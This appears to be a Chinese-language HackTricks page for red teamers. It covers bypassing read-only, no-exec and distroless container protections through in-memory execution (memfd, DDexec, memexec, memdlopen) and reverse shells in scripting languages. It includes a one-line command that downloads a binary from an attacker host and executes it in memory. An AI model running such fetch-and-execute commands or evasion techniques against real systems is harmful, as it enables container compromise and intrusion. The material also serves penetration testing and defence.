Bypass FS protections: read-only / no-exec / Distroless

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)

支持HackTricks的其他方式:

如果您对黑客职业感兴趣并想要黑掉不可能黑掉的东西 - 我们正在招聘!(需要流利的波兰语书面和口头表达能力)。

视频

在以下视频中,您可以找到本页中提到的技术的更深入解释:

只读 / 无执行场景

在Linux机器上发现只读(ro)文件系统保护变得越来越普遍,特别是在容器中。这是因为在容器中运行只读文件系统只需在securitycontext中设置**readOnlyRootFilesystem: true**即可:

apiVersion: v1
kind: Pod
metadata:
name: alpine-pod
spec:
containers:
- name: alpine
image: alpine
securityContext:
      readOnlyRootFilesystem: true
    command: ["sh", "-c", "while true; do sleep 1000; done"]

然而,即使文件系统被挂载为只读,/dev/shm仍然是可写的,因此我们可以在磁盘上写入内容。但是,此文件夹将以无执行保护挂载,因此如果您在此处下载二进制文件,则无法执行它。

从红队的角度来看,这使得下载和执行不在系统中的二进制文件(如后门或类似kubectl的枚举器)变得复杂

最简单的绕过方法:脚本

请注意,我提到了二进制文件,只要解释器在机器内部,您就可以执行任何脚本,比如如果sh存在,则可以执行shell脚本,如果安装了python,则可以执行python脚本

然而,这仅仅足以执行您的二进制后门或其他可能需要运行的二进制工具。

内存绕过

如果您想要执行一个二进制文件,但文件系统不允许,那么最好的方法是通过从内存中执行,因为保护在那里不适用

FD + exec系统调用绕过

如果您在机器内部有一些强大的脚本引擎,比如PythonPerlRuby,您可以将要执行的二进制文件下载到内存中,将其存储在一个内存文件描述符(create_memfd系统调用)中,这不会受到这些保护的保护,然后调用**exec系统调用**,指示将fd作为要执行的文件

为此,您可以轻松使用项目fileless-elf-exec。您可以将二进制文件传递给它,它将生成一个以指定语言编写的脚本,其中包含使用指令对二进制文件进行解码和解压缩二进制压缩和b64编码,以及调用create_memfd系统调用创建的fd和调用exec系统调用来运行它的指令。

这在其他脚本语言(如PHP或Node)中不起作用,因为它们没有任何从脚本中调用原始系统调用的默认方法,因此无法调用create_memfd来创建存储二进制文件的内存fd

此外,在/dev/shm中创建一个常规fd并不起作用,因为您将无法运行它,因为无执行保护将适用。

DDexec / EverythingExec

DDexec / EverythingExec是一种技术,允许您通过覆盖其**/proc/self/mem修改自己进程的内存**。

因此,通过控制进程执行的汇编代码,您可以编写一个shellcode并“变异”进程以执行任意代码

DDexec / EverythingExec将允许您从内存加载和执行您自己的shellcode任何二进制文件

# Basic example
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar

MemExec

Memexec 是 DDexec 的自然下一步。它是一个 DDexec shellcode demonised,因此每次您想要 运行不同的二进制文件 时,无需重新启动 DDexec,只需通过 DDexec 技术运行 memexec shellcode,然后 与此守护进程通信以传递要加载和运行的新二进制文件

您可以在 https://github.com/arget13/memexec/blob/main/a.php 中找到如何使用 memexec 执行来自 PHP 反向 shell 的二进制文件 的示例。

Memdlopen

与 DDexec 目的类似,memdlopen 技术允许以更简单的方式将二进制文件加载到内存中以后执行它们。甚至可以加载具有依赖关系的二进制文件。

Distroless Bypass

什么是 distroless

Distroless 容器仅包含运行特定应用程序或服务所需的 最少组件,例如库和运行时依赖项,但不包括诸如软件包管理器、shell 或系统实用程序等较大的组件。

Distroless 容器的目标是通过消除不必要的组件 减少容器的攻击面,并最小化可以被利用的漏洞数量。

反向 Shell

在 distroless 容器中,您可能 找不到 shbash 以获取常规 shell。您也不会找到诸如 lswhoamiid 等二进制文件... 您通常在系统中运行的所有内容。

因此,您通常无法获得 反向 shell 或像往常一样 枚举 系统。

但是,如果受损的容器例如正在运行 flask web,则已安装了 python,因此您可以获取 Python 反向 shell。如果正在运行 node,则可以获取 Node 反向 shell,大多数 脚本语言 也是如此。

使用脚本语言,您可以利用语言功能 枚举系统

如果没有 read-only/no-exec 保护,您可以滥用反向 shell 在文件系统中写入您的二进制文件执行 它们。

但是,在这种类型的容器中,这些保护通常存在,但您可以使用 先前的内存执行技术来绕过它们

您可以在 https://github.com/carlospolop/DistrolessRCE 中找到如何 利用一些 RCE 漏洞 来获取脚本语言 反向 shell 并从内存中执行二进制文件的 示例

如果您对 黑客职业 感兴趣并想要黑入不可黑入的 - 我们正在招聘!(需要流利的波兰语书面和口语能力)。

从零开始学习 AWS 黑客技术,成为专家 htARTE(HackTricks AWS 红队专家)

支持 HackTricks 的其他方式:

最后更新于